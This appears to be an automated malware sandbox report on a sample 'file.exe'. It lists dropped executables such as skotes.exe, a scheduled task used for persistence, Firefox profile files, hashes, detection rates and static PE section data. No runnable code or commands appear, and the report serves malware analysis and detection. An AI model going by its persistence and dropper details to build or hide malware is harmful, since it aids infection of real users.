MD5:	6AF05407143697F6C49BD94E5903F73A
SHA1:	003809F7AA6CB6AB5BF4DDB22DC659F22F0879EF
SHA-256:	E4853246B4C0B4D13AA84E929CF4313961F176E893A8C1C29720A1EB7F68C5A7
SHA-512:	42447C96152CFD43F6BA7D7533EDC62E10E66EAB6030C8914BCF1AF64D6980B29D1AC6A960FB6A1E3699CE68A8FAD92684F2C3EBE11009F911D2B98E49F61B5E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........i...........@..........................@i...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@*...$......v..............@...fswcchxk......O......x..............@...egtbgvgy......i......x..............@....taggant.0....i.."...\|..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1840128
Entropy (8bit):	7.947652645044466
Encrypted:	false
SSDEEP:	49152:Chthc6twD12TENAaDstLCXgBgM8IwAfm+ekLqfIWZco:ChtO66R24NPwQg6MDwxfHco
MD5:	ACC594995958C5CF5F107FE27DB38F8E
SHA1:	92B6E9EE6A4A61B292883566738F8B7E038F5EB1
SHA-256:	2C3841D0070158D8F5824289380656AAD74C190DDFD4EE8240EEFBFD16988B89
SHA-512:	E82304A2948AB275C1B243255CE5DC01E5E2763F766EAEA6915F6E7BE0D130AB7E92D52B38F8F1186D30C809A7DA2697F06BF55EB9152A52C81A26DF8F21373C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................I...........@..........................@I.....pS....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..)..........v..............@...rriqemsb....../..v...x..............@...gdzxkufk......I.....................@....taggant.0....I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1809920
Entropy (8bit):	7.944743880021534
Encrypted:	false
SSDEEP:	49152:12+LhJrTVTCyrc3j2x4uDgwcTXXZHa6hS8R+:11hrCyrcxfCaS
MD5:	6AF05407143697F6C49BD94E5903F73A
SHA1:	003809F7AA6CB6AB5BF4DDB22DC659F22F0879EF
SHA-256:	E4853246B4C0B4D13AA84E929CF4313961F176E893A8C1C29720A1EB7F68C5A7
SHA-512:	42447C96152CFD43F6BA7D7533EDC62E10E66EAB6030C8914BCF1AF64D6980B29D1AC6A960FB6A1E3699CE68A8FAD92684F2C3EBE11009F911D2B98E49F61B5E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........i...........@..........................@i...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@*...$......v..............@...fswcchxk......O......x..............@...egtbgvgy......i......x..............@....taggant.0....i.."...\|..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922112
Entropy (8bit):	6.591406128973678
Encrypted:	false
SSDEEP:	12288:mqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgawTp:mqDEvCTbMWu7rQYlBQcBiT6rprG8aIp
MD5:	7F05860BAEE4FF5DA95E342EAEE96E85
SHA1:	A909D75EE89B3123F66C6AB227106C66E8CB5FB7
SHA-256:	DABB569816B302DCCB1FA4C032F5E39A2660D32C3F95ECE75E9EBF4144CE0B17
SHA-512:	A963CABE33D4F92041A1731AFAE796ADD8FD1EBB448583EDFA9CF1A7E427BAD514881B9DBF3D404C700D3BB24BEAB89FAD4266FBAEFD1AEF3E76D4FAD05BC0D0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.... Bg.........."..........b......w.............@..........................p......N.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2801152
Entropy (8bit):	6.469810559066633
Encrypted:	false
SSDEEP:	49152:ytI4w1YdpuqRwYUKZgayx0FjPk3QYtGbfYwWL:yy42YdpuqRwYTZgbWraQYt6Y
MD5:	9A939117E7E796C8036B7A92BAC70C4F
SHA1:	74FE3772448794929F7F18F1C72F4F388B573468
SHA-256:	D94DEC75C03B2044787F940BD7D96BF066EEADA41E23854726EC54F2FF77BD72
SHA-512:	A722C1AF22A5B67F5618B080F561977DBE5686ABE1923A618A67A9C643A4CF814C033869625585CD8BFF603F342A8CCFE2103654D9D6CC2BD87D56C097B651EC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....c:+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...bqkfoemv.`......^..:..............@...wtifjdmh. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1924608
Entropy (8bit):	7.950175139929825
Encrypted:	false
SSDEEP:	49152:9hgHusXjVlAmvQN5yJpk/VqCIk+SVTntsI:nFsZOm5k/4w+SV7
MD5:	56A8D0EA738568054D6A68992C06AF83
SHA1:	9F965ADB0CB2D9194F7DC72F8C06A52F92E4D58E
SHA-256:	6C6F1CB0EE20AB9E1A4B0C34EED3ED086357CC10B05B372D9A09E5D0D516D5C5
SHA-512:	59E90B3FC4EA54585A197B97381019C9F80D9C44213BD75BE71360A297C568DD588287F999F6CEC94E853C7E81C193BDA3CC388584CC7A04E3B3F25EF2EBFCA5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L......b....@.................................W...k.......D....................L.............................t.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...qjiksrqu.P...`2..B..................@...nceqyape......L......8..............@....taggant.0....L.."...<..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529712073109752
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Fhj4qyaaX86KakfGNBw8dISl:de7quOcwV0
MD5:	9131DB319E66E5E9FF47BE5C0793D4E9
SHA1:	227CF416DDBB484403D9AF00F817DD00D25D9F65
SHA-256:	0305EE046FC7DFE3FE3C63676D05CC453F2A03DE0EA27BB47F5F4D8C76566D03
SHA-512:	DCBE26753AA0FC7504DA3975E8C4BC602AFB78B8A03AD4653E9DB5895A03DA10E61F9ED174A8F76ED3A42AFC26AE048CB6500E4E199D45D7529C8B073186A628
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529712073109752
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Fhj4qyaaX86KakfGNBw8dISl:de7quOcwV0
MD5:	9131DB319E66E5E9FF47BE5C0793D4E9
SHA1:	227CF416DDBB484403D9AF00F817DD00D25D9F65
SHA-256:	0305EE046FC7DFE3FE3C63676D05CC453F2A03DE0EA27BB47F5F4D8C76566D03
SHA-512:	DCBE26753AA0FC7504DA3975E8C4BC602AFB78B8A03AD4653E9DB5895A03DA10E61F9ED174A8F76ED3A42AFC26AE048CB6500E4E199D45D7529C8B073186A628
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4167741751642047
Encrypted:	false
SSDEEP:	6:JSPtXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBdct0:JSPZf2RKQ1CGAFAjzvYRQVBdct0
MD5:	26644349636D64A1C00C45C33193363E
SHA1:	BADD59F4A57F11509DE1DFAFAE6D4833A1F5A6F1
SHA-256:	C0E8B5AF4E10FCAC779DEE8A8FE526824657A80C1EA8F39C9564AF86CA40FE54
SHA-512:	17D91849409164C94C6D4959F3018BB67D6FA9D5B42134A469D40EB78D6954C99BDA4C60A325736666B9D767E9576E586BD925DEC2F4156ACE346D2E83A1C47B
Malicious:	false
Preview:	.........s.A.M....F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950175139929825
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'924'608 bytes
MD5:	56a8d0ea738568054d6a68992c06af83
SHA1:	9f965adb0cb2d9194f7dc72f8c06a52f92e4d58e
SHA256:	6c6f1cb0ee20ab9e1a4b0c34eed3ed086357cc10b05b372d9a09e5d0d516d5c5
SHA512:	59e90b3fc4ea54585a197b97381019c9f80d9c44213bd75be71360a297c568dd588287f999f6cec94e853c7e81c193bda3cc388584cc7a04e3b3f25ef2ebfca5
SSDEEP:	49152:9hgHusXjVlAmvQN5yJpk/VqCIk+SVTntsI:nFsZOm5k/4w+SV7
TLSH:	D59533D58C73A3FED21500B4E9452708FC4964D33BC6B90A8A3E7B3796D626F66CB214
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8cc000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F40B4BF60CAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4ca0c4	0x10	qjiksrqu
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4ca074	0x18	qjiksrqu
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	adb9bebd5c626b4a93ae609cf1453f9c	False	0.9981639560626703	data	7.9849987293715525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2bb000	0x200	1655d5b882c37485e68a977972b4788f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qjiksrqu	0x326000	0x1a5000	0x1a4200	df03ba7019da6d30d205422325c7b0e1	False	0.9947746206486164	data	7.9547081936135005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nceqyape	0x4cb000	0x1000	0x400	5f55294663839ef7074e211866e30f79	False	0.7890625	data	6.123795331432266	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4cc000	0x3000	0x2200	0e983bbae89d22f274172c22df6bf1a4	False	0.06456801470588236	DOS executable (COM)	0.711448576690092	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
